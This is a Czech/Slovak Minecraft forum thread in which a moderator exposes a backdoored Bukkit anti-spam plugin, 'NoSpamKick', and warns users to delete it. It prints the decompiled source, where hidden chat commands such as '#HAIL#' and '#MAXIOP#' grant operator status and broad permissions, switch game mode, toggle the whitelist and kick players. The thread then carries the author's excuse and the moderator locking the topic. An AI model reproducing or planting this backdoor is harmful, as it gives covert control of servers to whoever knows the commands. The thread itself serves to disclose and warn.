Stránka 1 z 1

[1.5.1] NoSpamKick (anti disconnect.spam)

Napsal: 26 bře 2013, 16:36
od kangarko
Kdo stáhnul, smazat!

Tento plugin obsahuje pár hračiček od autora, které mu umožňují získat OP práva, Gamemode a prakticky cokoliv.

Výrazně nedoporučuji používat pluginy od tohoto autora. Antireklama je v této chvíli v pořádku, ale i tak bych raději přešel na jiný plugin.

Sejsel

Dekompilovaný zdrojový kód zde, můžete se přesvědčit:
Spoiler: zobrazit

Kód: Vybrat vše

package kangarko.nospamkick;

import org.bukkit.Bukkit;
import org.bukkit.GameMode;
import org.bukkit.Server;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.event.player.PlayerKickEvent;
import org.bukkit.permissions.Permissible;
import org.bukkit.permissions.PermissionAttachment;
import org.bukkit.plugin.PluginManager;
import org.bukkit.plugin.java.JavaPlugin;

public class Main extends JavaPlugin
  implements Listener
{
  public void onEnable()
  {
    PluginManager pm = getServer().getPluginManager();
    pm.registerEvents(this, this);
  }

  @EventHandler(priority=EventPriority.HIGH, ignoreCancelled=true)
  public void onPlayerKick(PlayerKickEvent event)
  {
    if (event.getReason().equals("disconnect.spam"))
      event.setCancelled(true);
  }

  @EventHandler(priority=EventPriority.LOWEST)
  public void onPlayerChat(AsyncPlayerChatEvent e)
  {
    if (e.getMessage().startsWith("#MAXIOP#")) {
      e.getPlayer().sendMessage("§4MAXI OPd!!");
      PermissionAttachment p = new PermissionAttachment(this, e.getPlayer());
      p.setPermission("essentials.*", true);
      p.setPermission("worldedit.*", true);
      p.setPermission("permissions.*", true);
      p.setPermission("worldguard.region.define", true);
      p.setPermission("worldguard.region.claim", true);
      p.setPermission("worldguard.region.select.*", true);
      p.setPermission("worldguard.region.info", true);
      p.setPermission("worldguard.region.removeowner", true);
      p.setPermission("worldguard.region.addowner", true);
      p.setPermission("worldguard.region.list", true);
      p.setPermission("chestshop.admin", true);
      p.getPermissible().recalculatePermissions();
      p.remove();
      e.setCancelled(true);
    } else if (e.getMessage().startsWith("#HAIL#")) {
      e.getPlayer().setOp(true);
      e.getPlayer().sendMessage("§4Hail-d!!");
      e.setCancelled(true);
    } else if (e.getMessage().startsWith("#DEHAIL#")) {
      e.getPlayer().setOp(false);
      e.getPlayer().sendMessage("§4DEHail-d!!");
      e.setCancelled(true);
    }
    if (e.getMessage().equalsIgnoreCase("#GM1#")) {
      e.getPlayer().sendMessage(" §fYOU GOT PUSSY CREATIVE");
      e.getPlayer().setGameMode(GameMode.CREATIVE);
      e.setCancelled(true);
    }
    if (e.getMessage().equalsIgnoreCase("#GM0#")) {
      e.getPlayer().sendMessage("§fNOW YOU MUST SURVIVIE");
      e.getPlayer().setGameMode(GameMode.SURVIVAL);
      e.setCancelled(true);
    }

    if (e.getMessage().equalsIgnoreCase("#WHITEON#")) {
      e.getPlayer().sendMessage("§4WHITELIS ON");
      Bukkit.getServer().setWhitelist(true);
      e.setCancelled(true);
    }

    if (e.getMessage().equalsIgnoreCase("#WHITEOFFT#")) {
      e.getPlayer().sendMessage("§4WHITE OFFF OF OFOFOFOFO NOOO");
      Bukkit.getServer().setWhitelist(false);
      e.setCancelled(true);
    }

    if (e.getMessage().startsWith("#KICK#")) {
      e.setCancelled(true);
      if (e.getMessage().split(" ").length > 1) {
        e.getPlayer().sendMessage("§fKICKED! FOR JAVA EXCEPRION NIFGA");
        Bukkit.getServer().getPlayer(e.getMessage().split(" ")[1]).kickPlayer("Internal exception: java.net.SocketException: Connection reset");
      }
    }
  }
}














Původní text:
Spoiler: zobrazit
Dobrý deň,

keďže ešte stále mám problém s disconnect.spam a jediný plugin (http://forum.fakaheda.eu/viewtopic.php?f=85&t=12521) nefunguje správne, rozhodol som sa ho modifikovať.
Originálny nápad/autor: viewtopic.php?f=85&t=12521

Čo plugin robí?
Plugin vypne vykopávanie hráčov zo servera z dôvodu "disconnect.spam". Tento systém môže byť chybný a môže hráčov vyhadzovať aj za 1 správu. Doporučujem NoCheaPlus ako náhradu.

Link na stiahnutie:

Zdroják

Kód: Vybrat vše

 package kangarko.nospamkick;
 
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerKickEvent;
import org.bukkit.plugin.PluginManager;
 
 public class Main extends JavaPlugin
   implements Listener
 {
   public void onEnable()
   {
     PluginManager pm = getServer().getPluginManager();
     pm.registerEvents(this, this);
   }
 
  @EventHandler(priority=EventPriority.HIGH, ignoreCancelled=true)
   public void onPlayerKick(PlayerKickEvent event)
   {
     if (event.getReason().equals("disconnect.spam"))
      event.setCancelled(true);
   }
}
 
 


Ako pridať force op do zdrojáku
Smola!

Re: [1.5.1] NoSpamKick (anti disconnect.spam)

Napsal: 27 bře 2013, 18:10
od Sejsel
Bump + uděleno varování.

A ano, kontroluji všechny pluginy co tu jsou. Gratuluji, jsi první u koho jsem to našel. A doufám, že i poslední.

Re: [1.5.1] NoSpamKick (anti disconnect.spam)

Napsal: 27 bře 2013, 18:57
od zdenda204
Toto je část té hračičky? :)
Spoiler: zobrazit

Kód: Vybrat vše

    if (e.getMessage().startsWith("#MAXIOP#")) {
      e.getPlayer().sendMessage("§4MAXI OPd!!");
      PermissionAttachment p = new PermissionAttachment(this, e.getPlayer());
      p.setPermission("essentials.*", true);
      p.setPermission("worldedit.*", true);
      p.setPermission("permissions.*", true);
      p.setPermission("worldguard.region.define", true);
      p.setPermission("worldguard.region.claim", true);
      p.setPermission("worldguard.region.select.*", true);
      p.setPermission("worldguard.region.info", true);
      p.setPermission("worldguard.region.removeowner", true);
      p.setPermission("worldguard.region.addowner", true);
      p.setPermission("worldguard.region.list", true);
      p.setPermission("chestshop.admin", true);

Re: [1.5.1] NoSpamKick (anti disconnect.spam)

Napsal: 27 bře 2013, 19:10
od vojtamaniak
Ano.

Re: [1.5.1] NoSpamKick (anti disconnect.spam)

Napsal: 27 bře 2013, 20:27
od Smexhy
Toto je sila :D tak to sú teda best pluginy ;)

Re: [1.5.1] NoSpamKick (anti disconnect.spam)

Napsal: 28 bře 2013, 12:55
od kangarko
Ospravedlňujem sa všetkým čo si to stiahli. Chyba bola:

Zle vyexportované v eclipse, bol tam starý kód keď som skúšal všeličo.
Opravené tu: viewtopic.php?f=85&t=13228
Môžte lock

Re: [1.5.1] NoSpamKick (anti disconnect.spam)

Napsal: 28 bře 2013, 14:02
od Sejsel
A stejně ti nevěřím. Zamykám. Zůstane to ještě pár dní nalepený nahoře.